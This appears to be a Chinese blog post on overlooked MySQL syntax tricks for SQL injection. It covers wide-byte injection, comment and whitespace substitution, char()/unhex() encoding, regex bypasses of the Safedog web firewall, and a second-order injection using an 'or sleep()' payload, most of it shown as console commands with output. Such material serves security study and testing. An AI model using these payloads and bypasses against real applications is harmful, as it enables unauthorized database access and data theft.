sql注入时易被忽略的语法技巧以及二次注入
那些容易被忽略、容易被弄错的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | sql注入时的技巧 ========================================================================= * 如果单引号被转义,在当前数据库采用GBK编码的前提下,可以考虑双字节注入。 * 注释符的正确用法 “-- ”才是mysql中的注释,注意后面有个空格 mysql> select user() from ( select 1)x where '1' = '1' ;-- ' +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec) “#”注释,后面接不接空格无所谓 mysql> select user() from ( select 1) x where '1' = '1' ;#' +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec) * 用 /**/ 替代空格 mysql> select /**/ 1; +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec) * sql语句中字符串转义 - mysql> select char (32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ); +-------------------------------------------------------------------+ | char (32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) | +-------------------------------------------------------------------+ | /tmp/f_user.txt | +-------------------------------------------------------------------+ 1 row in set (0.00 sec) - mysql> select concat( char (32), char (47), char (116), char (109), char (112), char (47), char (102), char (95), char (117), char (115), char (101), char (114), char (46), char (116), char (120), char (116) ) ; +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | concat( char (32), char (47), char (116), char (109), char (112), char (47), char (102), char (95), char (117), char (115), char (101), char (114), char (46), char (116), char (120), char (116) ) | +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | /tmp/f_user.txt | +---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec) # utf-8 - mysql> select unhex( 'E6B8B8E5AEA2' ); +-----------------------+ | unhex( 'E6B8B8E5AEA2' ) | +-----------------------+ | 游客 | +-----------------------+ 1 row in set (0.00 sec) * 数字和字符的比较,类似php中的弱类型 - mysql> select '10asfasfdeasdfasdf' =10; +-------------------------+ | '10asfasfdeasdfasdf' =10 | +-------------------------+ | 1 | +-------------------------+ - mysql> select '0esfsadf' =0; +--------------+ | '0esfsadf' =0 | +--------------+ | 1 | +--------------+ * 绕过安全狗 ** 正则绕过 - select 1 /*!50000union/*!*/ /*!50000select/*!*/ 2; +---+ | 1 | +---+ | 1 | | 2 | +---+ - mysql> select /*/#\*/ 1; +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec) * 多个单引号相连时,最外层两个孤独单引号配对闭合,中间的连续偶数个单引号中每两个一组换算成一个。 - mysql> select '123' '' ; +------+ | 123' | +------+ | 123' | +------+ 1 row in set (0.00 sec) - mysql> select '123' '' '' ; +-------+ | 123 '' | +-------+ | 123 '' | +-------+ - mysql> select user from mysql.user where user= 'nickname' ' and password=' or sleep(0.1);#' Empty set (1.00 sec) 此特点可以引发“二次注入”,比如,注册用户时输入昵称{nickname'},被转义为{nickname\'}但在插入到数据库后被还原, 那么在需要将昵称作为查询条件的页面中就存在二次注入,另一个条件字段的值为{ or 0=sleep(1);#}即可触发。 |
自助者天助;自天佑之,吉无不利。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 单线程的Redis速度为什么快?
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 展开说说关于C#中ORM框架的用法!
· SQL Server 2025 AI相关能力初探
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库